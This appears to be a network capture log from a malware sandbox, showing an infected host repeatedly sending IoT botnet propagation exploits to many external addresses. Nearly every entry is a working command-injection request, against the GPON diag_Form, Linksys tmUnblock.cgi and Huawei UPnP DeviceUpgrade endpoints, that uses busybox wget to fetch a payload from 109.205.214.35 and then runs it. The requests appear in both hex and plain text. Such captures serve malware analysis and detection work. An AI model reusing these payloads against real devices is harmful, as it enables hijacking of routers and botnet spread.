Mar 21, 2024 05:18:03.771002054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
710	192.168.2.13	49584	109.62.165.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.771029949 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
711	192.168.2.13	32802	210.67.208.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.771064043 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
712	192.168.2.13	55790	212.170.255.197	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.771127939 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
713	192.168.2.13	53952	5.231.142.117	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.771137953 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
714	192.168.2.13	38982	212.62.210.6	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.771194935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
715	192.168.2.13	37984	79.203.187.109	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.771219015 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
716	192.168.2.13	56178	118.12.166.245	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.771245003 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
717	192.168.2.13	49764	37.78.183.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:03.771344900 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
718	192.168.2.13	48244	104.248.116.49	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:04.275387049 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:18:04.364352942 CET	341	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:18:04 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Content-Encoding: gzip Data Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 46 26 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 4e 8e a7 cf a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzF&zIy%jaC]N0

Session ID	Source IP	Source Port	Destination IP	Destination Port
719	192.168.2.13	33248	156.235.103.206	37215

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:04.851217031 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:08.947799921 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:15.095808983 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:27.123858929 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Mar 21, 2024 05:18:51.699826956 CET	814	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 20 2d 6c 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 3b 20 2f 74 6d 70 2f 2e 6d 61 74 72 69 78 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 109.205.214.35 -l /tmp/.matrix -r /mips; /bin/busybox chmod 777 * /tmp/.matrix; /tmp/.matrix)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
720	192.168.2.13	34720	172.65.104.90	55555

Timestamp	Bytes transferred	Direction	Data
